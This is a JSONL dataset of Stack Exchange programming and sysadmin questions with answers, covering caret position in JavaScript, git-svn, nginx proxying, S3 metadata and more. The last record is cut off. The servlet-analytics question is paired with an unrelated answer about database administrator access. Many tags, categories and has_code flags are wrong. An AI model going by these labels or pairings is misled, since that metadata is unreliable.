{"id": "hf_fb5ca3b71f79", "question": "<p>How do you get the caret position in a <code>&lt;textarea&gt;</code> using JavaScript?</p>\n\n<p>For example: <code>This is| a text</code></p>\n\n<p>This should return <code>7</code>.</p>\n\n<p>How would you get it to return the strings surrounding the cursor / selection?</p>\n\n<p>E.g.: <code>'This is', '', ' a text'</code>.</p>\n\n<p>If the word “is” is highlighted, then it would return <code>'This ', 'is', ' a text'</code>.</p>\n", "question_body": "", "answer": "With Firefox, Safari (and other Gecko based browsers) you can easily use textarea.selectionStart, but for IE that doesn't work, so you will have to do something like this:\n```\n```\nfunction getCaret(node) {\n  if (node.selectionStart) {\n    return node.selectionStart;\n  } else if (!document.selection) {\n    return 0;\n  }\n\n  var c = \"\\001\",\n      sel = document.selection.createRange(),\n      dul = sel.duplicate(),\n      len = 0;\n\n  dul.moveToElementText(node);\n  sel.text = c;\n  len = dul.text.indexOf(c);\n  sel.moveStart('character',-1);\n  sel.text = \"\";\n  return len;\n}\n```\n```\n(\ncomplete code here\n)\nI also recommend you to check the jQuery\nFieldSelection\nPlugin, it allows you to do that and much more...\nEdit:\nI actually re-implemented the above code:\n```\n```\nfunction getCaret(el) { \n  if (el.selectionStart) { \n    return el.selectionStart; \n  } else if (document.selection) { \n    el.focus(); \n\n    var r = document.selection.createRange(); \n    if (r == null) { \n      return 0; \n    } \n\n    var re = el.createTextRange(), \n        rc = re.duplicate(); \n    re.moveToBookmark(r.getBookmark()); \n    rc.setEndPoint('EndToStart', re); \n\n    return rc.text.length; \n  }  \n  return 0; \n}\n```\n```\nCheck an example\nhere\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:55.578916"}
{"id": "hf_853915b3d49c", "question": "<p>For example, I could just git pull and then git checkout HEAD-1. But is there a way of seeing the differences before deciding whether to git pull or not?</p>\n", "question_body": "", "answer": "Do a\n```\ngit fetch\n```\nfirst to update your remote tracking branch. Then use\n```\ngit log ..origin\n```\nto see what has changed in the \"origin\" branch. Then you can do a\n```\ngit pull\n```\nif you are satisfied with the changes.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:55.774595"}
{"id": "hf_47b5a97a9f23", "question": "<p>As a simple example, I want to write a CLI script which can print <code>=</code> across the entire width of the terminal window.</p>\n\n<pre><code>#!/usr/bin/env php\n&lt;?php\necho str_repeat('=', ???);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>#!/usr/bin/env python\nprint '=' * ???\n</code></pre>\n\n<p>or</p>\n\n<pre><code>#!/usr/bin/env bash\nx=0\nwhile [ $x -lt ??? ]; do echo -n '='; let x=$x+1 done; echo\n</code></pre>\n", "question_body": "", "answer": "```\ntput cols\n```\ntells you the number of columns.\n```\ntput lines\n```\ntells you the number of rows.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:55.880407"}
{"id": "hf_3e1c2d9af619", "question": "<p>Should we use Generic Collection to improve safety and performance?</p>\n", "question_body": "", "answer": "Absolutely.\nA conventional collection, such as the ArrayList, implicitly stores objects.\nThis means, that doing this:\n```\n```\nArrayList list = new ArrayList();\nlist.Add(5);\nlist.Add(\"FooBar\");\n```\n```\nIs legitimate code. This introduces a handful of issues.\nNormally, you don't want to store different types in the same collection, and having compile time checking for this is nice.\nWhen you store a value type (such as the integer 5 above), it must be boxed into a reference type before it can be stored in the collection.\nWhen reading a value, you must cast it back from Object to the desired type.\nHowever, you eliminate all of these issues by using a generic collection:\n```\n```\nList<int> list = new List();\nlist.Add(5);\n// Compile Time Error.\nlist.Add(\"FooBar\")\n```\n```\nYou also gain intellisense support when working directly with indices of the collection, instead of just generic \"object\" intellisense.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:56.084165"}
{"id": "hf_c9b363e5005f", "question": "<p>I need to find two adjacent repeating digits in a string and replace with a single one. How to do this in Java. Some examples:</p>\n\n<p>123345 should be 12345\n 77433211 should be 74321</p>\n", "question_body": "", "answer": "using a regex:\n```\n```\nvar myString='123345'\nmyString.replace(/([0-9])\\1/g,'$1')\n```\n```\nthat will match exactly 2 repeats.\n```\n```\n'123334'.replace(/([0-9])\\1+/g,'$1')\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:56.192206"}
{"id": "hf_8c386e61f988", "question": "<p>Traditional logfile analytics tools (awstats, statcounter) or general web analytics (google analytics, yahoo web analytics) are not suitable for analyzing traffic on servlets. Is there a good alternative to log messages using a logging framework (log4j for example) and to write a custom analytics software for these?</p>\n", "question_body": "", "answer": "I suppose this is not the answer you hoped for but it is unavoidable that anyone with administrative rights will be able to browse and edit information in the database.\nYou cannot change this.\nPerhaps you could consider WHY you want to prevent this kind of access?\nI expect you want to prevent tampering or accidental corruption of the data?\nIf that is the reason then you can go a long way to prevent corruption by adding constraints to your database.  Add foreign key constraints, uniqueness constraints, everything that will help prevent data corruption.\nThen an administrator would need to deliberately undo these constraints before they tamper, which would prevent most accidental corruption but of course not prevent malicious vandalism.\nIf you are concerned about protection of your intellectual property, you could encrypt the programmatic components (stored procedures and views and functions).  This kind of encryption is not very strong but prevents casual inspection.\nEncryption is added by using the\n```\n```\nWITH ENCRYPTION\n```\n```\nclause in your CREATE or ALTER statements.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:56.359968"}
{"id": "hf_8e4b7a2932b4", "question": "<p>How can I rename a Virtual Directory (or Web Application) in IIS 6.0/7.0 using VBScript?</p>\n", "question_body": "", "answer": "I assume you want to use a local shell script.\nTry PowerShell, I think IIS7 has introduced\nnew administration tools\nthat look quite powerful. I\nthink\nyou could also use these scripts to manage IIS remotely via WMI.\nIt shouldn't be any more complicated then VBScript.\nAnother way would be to use VBScript to edit the IIS configuration files or create an\nadministration object\n, but that doesn't really seem to be the way to go about it.\nHopefully this helps.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:56.489895"}
{"id": "hf_a1b448a1bac0", "question": "<p>I'd like to automate the FTP download of a database backup file using PowerShell.  The file name includes the date so I can't just run the same FTP script every day.  Is there a clean way to do this built into PowerShell or using the .NET framework?</p>\n\n<p>I want to use a secure FTP session.</p>\n", "question_body": "", "answer": "This isn't as simple as I wish it would be. There are three options that I know of.\n.NET - You can use the .NET framework to do this in PowerShell, but it involves raw socket manipulation that I wouldn't want to do in a script. If I were going this route, then I would wrap up all the FTP junk into a DLL in C# and then use that DLL from PowerShell.\nManipulating a file - If you know the pattern of the name of the file that you need to get each day then you could just open your FTP script with PowerShell and change the name of the file in the script. Then run the script.\nPipe text to FTP - The last option is to use PowerShell to pipe information into and out of your FTP session. See\nhere\n.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:56.647878"}
{"id": "hf_805f27c3da0e", "question": "<p>can two use cases extend  or include each other at the same time?\n A extend/include B  and B extend/include A</p>\n", "question_body": "", "answer": "I'm pretty sure the answer is \"NO\".\nYou've just described the digital equivalent fo the chicken and egg problem.\nCircular references are [almost] always Bad Things (tm). The only place I know it to not be horrible is in the context of a linked list, in which each entry has a pointer to another of its own type.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:56.815536"}
{"id": "hf_e4adaf28f236", "question": "<p>Why are there not more opensource easy to use charting libraries for Java?. The only successful opensource project in this area seems to be jfreechart, and it doesn't even have any documentation or examples available.</p>\n", "question_body": "", "answer": "There is JChart which is all open source.  I'm not sure exactly what you are graphing and how you are graphing it (servlets, swing, etc) so I would say just look at a couple different ones and see which works for you.\nhttp://sourceforge.net/projects/jchart/\nI've also used JGraph but I've only used their commercial version.  They do offer an open source version however:\nhttps://github.com/jgraph/jgraphx", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:56.920610"}
{"id": "hf_aed75efcd559", "question": "<p>I've inherited someone else's monster of a BASH script.  The script was written in such a way that it uses a ridiculous amount of memory (around 1GB).  I can run it from a shell with out issue, but if I run it from cron I crashes with a sig fault.  </p>\n\n<p>Apart from digging into the poorly commented behemoth, is there a way to run it from cron with out running into the sig fault?  </p>\n\n<p>Cheers,</p>\n\n<p>Steve</p>\n", "question_body": "", "answer": "When you run something using cron you'll encounter issues with the environment variables being different or simply not set as compared to your own variables when you manually execute. Often things like the PATH aren't set properly when cron executes something, so it's important to supply full paths to executables within the script, even for things such as perl or common commands that you thing\nshould\nbe found in the default PATH. Without more info it's hard to speculate on what precisely the problem is.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:57.057451"}
{"id": "hf_b67879a07ca3", "question": "<p>I have a git repository which tracks an svn repository. I cloned it using <code>--stdlayout</code>.</p>\n\n<p>I created a new local branch via <code>git checkout -b foobar</code></p>\n\n<p>Now I want this branch to end up in <code>…/branches/foobar</code> in the svn repository.</p>\n\n<p>How do I go about that?</p>\n\n<p>(snipped lots of investigative text. see question history if you care)</p>\n", "question_body": "", "answer": "as of git v1.6.1,\n```\ngit svn branch\n```\nis available.\nFrom the git docs:\n```\nbranch\n        Create a branch in the SVN repository.\n\n        -m, --message\n            Allows to specify the commit message.\n\n        -t, --tag\n            Create a tag by using the tags_subdir instead of the branches_subdir\n            specified during git svn init.\n```\nPrevious versions of git do not provide a way to create an svn branch.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:57.226205"}
{"id": "hf_2df75535fc8d", "question": "<p>It seems that nginx is used with php, ruby and python. </p>\n\n<p>Anyone has an example of how to setup nginx to work with jetty/tomcat in backend? </p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "nginx can forward via HTTP protocol, so just point it to the correct port and you're set:\n```\n```\nserver {\n    location /anything {\n        proxy_pass http://localhost:8080/whatever;\n    }\n}\n```\n```", "tags": ["nginx"], "source": "huggingface", "category": "nginx", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:57.404513"}
{"id": "hf_3b802be8d834", "question": "<p>This very simple code gives me tons of errors:</p>\n\n<pre><code>#include &lt;iostream&gt;\n#include &lt;string&gt;\n\nint main() {\n    std::string test = \" \";\n    std::cout &lt;&lt; test;\n}\n</code></pre>\n\n<p>I tried to compile it on linux by typing <strong>gcc -o simpletest simpletest.cpp</strong> on the console. I can't see why it isn't working. What is happening?</p>\n", "question_body": "", "answer": "You declared your\n```\nmain()\n```\nas returning an\n```\nint\n```\nyet you have no return statement.  Add\n```\nreturn 0;\n```\nand see if that helps.  If that doesn't solve your problem, try editing your post to include some representative lines from those errors your getting and maybe we can help you better.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:57.499540"}
{"id": "hf_f4d8c97ef727", "question": "<p>once you have a commit that contains a submodule object, you pretty much cannot get git-svn to commit past it.</p>\n\n<p>Any ideas, workarounds, anything that is not \"don't use submodules with git-svn\"?</p>\n\n<p>So far the answer seems to be a big NO.</p>\n\n<p>Is there any way to at least allow existing git commits containing submodule data to be committed to svn without the submodule data? Even if it means rewriting the tree.</p>\n", "question_body": "", "answer": "You'll need to replace the submodules with the\n```\nsvn:externals\n```\nproperty to play nice with Subversion.\n```\n```\nsvn propset svn:externals [...]\n```\n```\nI don't think there's any other way round it.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:57.635672"}
{"id": "hf_30ee17507523", "question": "<p>I just pasted some generated javadoc into an eclipse project, to discover none of the HTML is compliant.</p>\n\n<p>There is even cases of closing tags that were never opened.</p>\n\n<p>Is there some way to fix this? Maybe a \"be compliant\" option...</p>\n", "question_body": "", "answer": "After some googling, I discovered\nXHTML Doclet 0.4\n.\nXHTML Doclet is a standards-compliant\n  alternative to the Javadoc standard\n  HTML doclet. The project revises the\n  document structure to exclude outdated\n  tags and inline styles, creates valid\n  XHTML markup, and provides better\n  hooks for more flexible CSS\n  manipulation.\nLooks like someone made a plugin.\nAny better options?\nEdit:\nHere's the plugin's\nOfficial page\nas linked to by\nSun's Javadoc FAQ\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:57.748927"}
{"id": "hf_657522971ef1", "question": "<p>I found piston seems a decent tool for managing rails plugins, but when I try to do piston convert for my project with git based plugins, it just went dead completely and seems its trying to look for .svn with svn tools.</p>\n\n<p>I am on piston 1.4.0, is that git natively supported or I would have to build from edge?</p>\n", "question_body": "", "answer": "I'm using piston 1.9.x for exactly this reason - since 1.9, it has\nsupported Git importing\n.\nInstructions on installing can be found\nhere\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:57.948655"}
{"id": "hf_f7e949e2e062", "question": "<p>Take the following function:</p>\n\n<pre><code>DataTable go() {\n    return someTableAdapter.getSomeData();\n}\n</code></pre>\n\n<p>When I set a breakpoint in this function, is there a possibility to inspect the returned value? <code>go()</code> is directly coupled to a datagrid in an <code>.aspx</code> page.</p>\n\n<p>The only way to inspect the returned datatable is to use a temporary variable. However, that's a bit inconvenient. Isn't there another way?</p>\n", "question_body": "", "answer": "Not that I know of. Note that if you\ndo\nadd a variable, it will get removed by the compiler in release builds anyway...\nUpdate:\nThis functionality has been added to VS2013\n.\nYou can see the return values in the autos windows or use\n```\n$ReturnValue\n```\nin the watch/immediate window.\nThe value can only be seen directly after returning from the function, thus the easiest way to access it is by putting a breakpoint on the function call and step over (F10) the call.\nUpdate for VS2015: boo! unfortunately, it doesn't appear to be in VS2015 (devenv v14)\nUpdate for VS2017: it's back. (devenv v15)", "tags": ["devops"], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:58.074409"}
{"id": "hf_2341f35e1151", "question": "<p>When using wireframe fill mode in Direct3D, all rectangular faces display a diagonal running across due to the face being split in to two triangles. How do I eliminate this line? I also want to remove hidden surfaces. Wireframe mode doesn't do this.</p>\n\n<p>I need to display a Direct3D model in isometric wireframe view. The rendered scene must display the boundaries of the model's faces but must exclude the diagonals. </p>\n", "question_body": "", "answer": "Getting rid of the diagonals is tricky as the hardware is likely to only draw triangles and it would be difficult to determine which edge is the diagonal. Alternatively, you could apply a wireframe texture (or a shader that generates a suitable texture). That would solve the hidden line issues, but would look odd as the thickness of the lines would be dependant on z distance.\nUsing line primitives is not trivial, although surfaces facing away from the camera can be easily removed, partially obscured surfaces would require manual clipping. As a final thought, do a two pass approach - the first pass draws the filled polygons but only drawing to the z buffer, then draw the lines over the top with suitable z bias. That would handle the partially obscured surface problem.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:58.238446"}
{"id": "hf_3075f8c92090", "question": "<p>What good ruby gem sources would you recommend, besides <a href=\"http://gems.rubyforge.org/\" rel=\"noreferrer\">http://gems.rubyforge.org/</a> and <a href=\"http://gems.github.com/\" rel=\"noreferrer\">http://gems.github.com/</a>? It seems that RubyForge is missing most of the gems I look for these days...</p>\n", "question_body": "", "answer": "As far as I know, those two are it, with the primary being rubyforge, since that's the only source that a stock RubyGems install will search?  As popular as github is getting, gem developers still can't yet assume that github has been added as a gem source, and usually provide specific instructions like\n```\n```\ngem sources -a http://gems.github.com\ngem install person-gemname\n```\n```\nor\n```\n```\ngem install person-gemname --source http://gems.github.com\n```\n```\nUPDATE\n: gems.rubyforge.org, gems.github.com, and gemcutter.org have all been replaced by\n```\nrubygems.org\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:58.349622"}
{"id": "hf_c934d206d73a", "question": "<p>Is there any way to catch all syscalls on Linux? The only solution I know of is using LD_PRELOAD à la <a href=\"http://packages.qa.debian.org/f/fakeroot.html\" rel=\"nofollow noreferrer\">fakeroot</a>, but that only works for dynamically linked applications. Furthermore, this approach requires enumerating all syscalls which is something I'd like to avoid.</p>\n", "question_body": "", "answer": "You can trace a program. Think about how\n```\nstrace\n```\nworks. Hint: it doesn't use\n```\nLD_PRELOAD\n```\ntricks.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:58.473247"}
{"id": "hf_d736a327f226", "question": "<p>An svn repository I'm mirroring through git-svn has changed URL.</p>\n\n<p>In vanilla svn you'd just do <code>svn switch --relocate old_url_base new_url_base</code>.</p>\n\n<p>How can I do this using git-svn? </p>\n\n<p>Simply changing the svn url in the config file fails.</p>\n", "question_body": "", "answer": "Git svn relies heavily on the svn URL. Every commit that is imported from svn has a\n```\ngit-svn-id\n```\nthat includes the svn URL.\nA valid relocations strategy is to call\n```\ngit-svn clone\n```\non the new repository and merge the changes onto that new close. For a more detailed procedure, see this article:\nhttp://www.sanityinc.com/articles/relocating-git-svn-repositories", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:58.590036"}
{"id": "hf_4d28706edfc7", "question": "<p>Does anybody know if there is a way to make autocompletion work in MySQL Command Line Client under Windows? It's working nicely under Linux for me, but  simply moves the cursor under Windows instead.</p>\n", "question_body": "", "answer": "It ought to work this way:\n```\n```\nC:\\> mysql --auto-rehash\n```\n```\nOr configure your my.cnf:\n```\n```\n[mysql]\nauto-rehash\n```\n```\nedit:\nMy apologies.  I have found some references that the tab-completion feature in mysql client works only on UNIX/Linux.  It does not work on Windows.\nupdate:\nThe reason for this is mentioned briefly in MySQL\nbug #4731\n:\n[31 Jul 2004 12:47] Sergei Golubchik\nI just downloaded 4.0.15 - command\n  completion in mysql.exe is NOT\n  working, as expected. It was never\n  working in mysql.exe because we were\n  not able to make readline to compile\n  with VC++.\nmysqlc.exe is a cygwin build, and it is linked with readline.\nExplanation:\nGNU readline\nis a standard open-source library for handling user input.  The MySQL team uses the readline library, but they are not its author.  From the above comment, I understand that they were unsuccessful in compiling the readline library on Windows with Microsoft Visual C++, the tool they use to build the MySQL product.  Some open-source projects have not been made fully compatible with the Microsoft Windows environment.\nAt one time in the past, the MySQL product provided an alternative client they called\n```\nmysqlc.exe\n```\n, which they compiled with the\ncygwin\ntoolset on Windows, but they don't provide this anymore.  The cygwin toolset includes the readline library, so it was possible to compile the\n```\nmysqlc.exe\n```\nclient with support for tab-completion.\nSo in theory, if you are really intrepid, you could download the cygwin toolset including the readline library, then download the MySQL source code and build it using cygwin.  Then you should have a mysql client program that can perform tab-completion.  But this sounds like a lot of work even for someone who is familiar with building MySQL from source.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:58.887175"}
{"id": "hf_183ee6bf2be7", "question": "<p>I was currently looking into memcached as way to coordinate a group of server, but came across <a href=\"http://hadoop.apache.org/zookeeper/\" rel=\"noreferrer\">Apache's ZooKeeper</a> along the way. It looks interesting, and Yahoo uses it, so it shouldn't be bad, but I'd never heard of it before, so I'm kind of skeptical. Has anyone else given it a try? Any comments or ideas?</p>\n", "question_body": "", "answer": "ZooKeeper and Memcached have different purposes. You can use memcached to do server coordination, but you'll have to do most of this work yourself. Memcached only allows coordination in that it caches common data lookups to be used by multiple clients. From reading ZooKeeper's documentation, it has a much broader focus than this. ZooKeeper seems to provide support for server clustering, which isn't the same as the cache clustering memcached provides.\nHave a look at Brad Fitzpatrick's Linux Journal\narticle\non memcached to get a better idea what I mean.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:59.048164"}
{"id": "hf_5218af84adf4", "question": "<p>How do I learn where the source file for a given Python module is installed? Is the method different on Windows than on Linux?</p>\n\n<p>I'm trying to look for the source of the <code>datetime</code> module in particular, but I'm interested in a more general answer as well.</p>\n", "question_body": "", "answer": "The\n```\nsys.path\n```\nlist contains the list of directories which will be searched for modules at runtime:\n```\n```\npython -v\n>>> import sys\n>>> sys.path\n['', '/usr/local/lib/python25.zip', '/usr/local/lib/python2.5', ... ]\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:59.169755"}
{"id": "hf_69fe932d5d1a", "question": "<p>I've uploaded a bunch of images to Amazon S3, and now want to add a Cache-Control header to them. </p>\n\n<p>Can the header be updated without downloading the entire image? If so, how?</p>\n", "question_body": "", "answer": "It's beta functionality, but you can specify new meta data when you\ncopy an object\n. Specify the same source and destination for the copy, and this has the effect of just updating the meta data on your object.\n```\n```\nPUT /myObject HTTP/1.1\nHost: mybucket.s3.amazonaws.com  \nx-amz-copy-source: /mybucket/myObject  \nx-amz-metadata-directive: REPLACE  \nx-amz-meta-myKey: newValue\n```\n```", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:59.274640"}
{"id": "hf_cd12aa81dbbb", "question": "<p>So I'm looking for a pattern like this:</p>\n\n<blockquote>\n  <p>size='0x0'</p>\n</blockquote>\n\n<p>In a log file, but I'm only interested in large sizes (4 digits or more). The following regex works great in EditPadPro (nice tool BTW)</p>\n\n<pre><code>size='0x[0-9a-fA-F]{4,}\n</code></pre>\n\n<p>But the same RegEx does not work in awk - seems like the repetition <code>{4,}</code> is messing it up. Same with WinGrep - any idea from the RegEx gurus? Thanks!</p>\n", "question_body": "", "answer": "I don't know of any elegant alternatives to the {4,} syntax, but if it is not working in your desired environment you could resort to this ugly hack:\n```\n```\nsize='0x[0-9a-fA-F][0-9a-fA-F][0-9a-fA-F][0-9a-fA-F]+\n```\n```\nHope this helps!\nAdam", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:59.391970"}
{"id": "hf_4b2ffad5762d", "question": "<p>As far as i know the EAP editions of JBoss Application Server (AS) are just a bunch of community edition JBoss projects with some sugar.</p>\n\n<p>So, what is the <strong>community edition</strong> of the JBoss Application Server that <strong>JBoss EAP 4.3.0</strong> corresponds to?</p>\n", "question_body": "", "answer": "This response is really late but I came across the unanswered question in a Google search and I wanted to make sure there's a correct response.  I work for JBoss support so you can consider this a qualified answer.\nJBoss EAP is the only commercially supported version of JBoss.  It contains JBoss AS and JBoss Seam.  EAP diverged (in terms of the svn branch it's built off) from JBoss AS around version 4.2.1 (not exactly, but close enough).  EAP has a 5-year lifetime and is tested and certified rigorously.  EAP has paid commercial support and patches (called CPs or cumulative patches) that are designed to maintain ABI/API stability over time while allowing for security issues and bugs to be fixed.  It is actually against policy to introduce a feature in a CP, but it happens on occasion.\nIf you're familiar with how\nRed Hat Enterprise Linux\ndiffers from\nFedora\n, you can consider the difference to be quite similar.  The JBoss project/product split is much newer, though, so the differences are smaller.  Here's the official page describing what I've said.\nhttp://www.jboss.com/products/community-enterprise\nCheers,\nChris", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:59.731801"}
{"id": "hf_dcb3ddc2c40a", "question": "<p>Background: I have a kubuntu laptop right now that I can't use wirelessly, i.e. I haven't got wireless assistant installed. But I have a windows laptop that I can download the debian packages seperately on a USB memory stick.</p>\n\n<p>How do I install a debian package on the computer locally?</p>\n", "question_body": "", "answer": "Once you have the USB stick mounted:\n```\n```\ndpkg --install /path/to/foo_VVV-RRR.deb\n```\n```\n(where fooVVV-RRR.deb is the package's file name)\nYou can find more commands at the\nDebian GNU/Linux FAQ\n.\nSide note: this is from the command line.  I'm not sure how to get synaptic to do it.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:59.869591"}
{"id": "hf_50721895160b", "question": "<p>As title. </p>\n\n<p>ruby test/functionals/whatevertest.rb doesn't work, that requires me to replace all <code>require 'test_helper'</code> to <code>require File.dirname(__FILE__) + '/../test_helper'</code>. For some reason most of those test templates have such issue, so I rather to see if there is a hack I could get around it.</p>\n", "question_body": "", "answer": "On Linux?  why not try\n```\n(cd test && ruby functionals/whatevertest.rb)\n```\n.  Note, the parentheses are important as otherwise your current directory will change to the subdirectory.  What it does is\n```\nfork\n```\nanother shell, change to the subdirectory in it, and run the test.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:17:00.301426"}
{"id": "hf_d5b244a1abe7", "question": "<p>I'm going to have my website hosted soon on a VPS or dedicated server (with Windows 2008), so I'm trying to plan ahead. I wonder whether the built-in SMTP server that comes with IIS7 is reliable enough for a production server or should I look for an alternative? I heard good things about hmailserver and best of all it's free, do you have any experience with using the bulit-in SMTP on a high traffic website.</p>\n\n<p>Thanks a lot for any suggestions</p>\n", "question_body": "", "answer": "Maybe sending it via gmail is a good one :P\nOk serious.\nIIS7 seems I heard to have some decent improvement.\nIf that's not doing it, I guess you could try free stuff like mailenable.\n(No I can't find the evidence on the improvement on IIS SMTP, people who know about this please comment)\nLong term you might end up split it to a linux based smtp though, that gives you some flexibility on server farming if it goes too insane.\nAnd if its for any kind of mass mailing that might trigger spam server blocking, don't ever try to host it together with your other important stuff- you want to keep yourself have a back step if your server gets blocked.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", 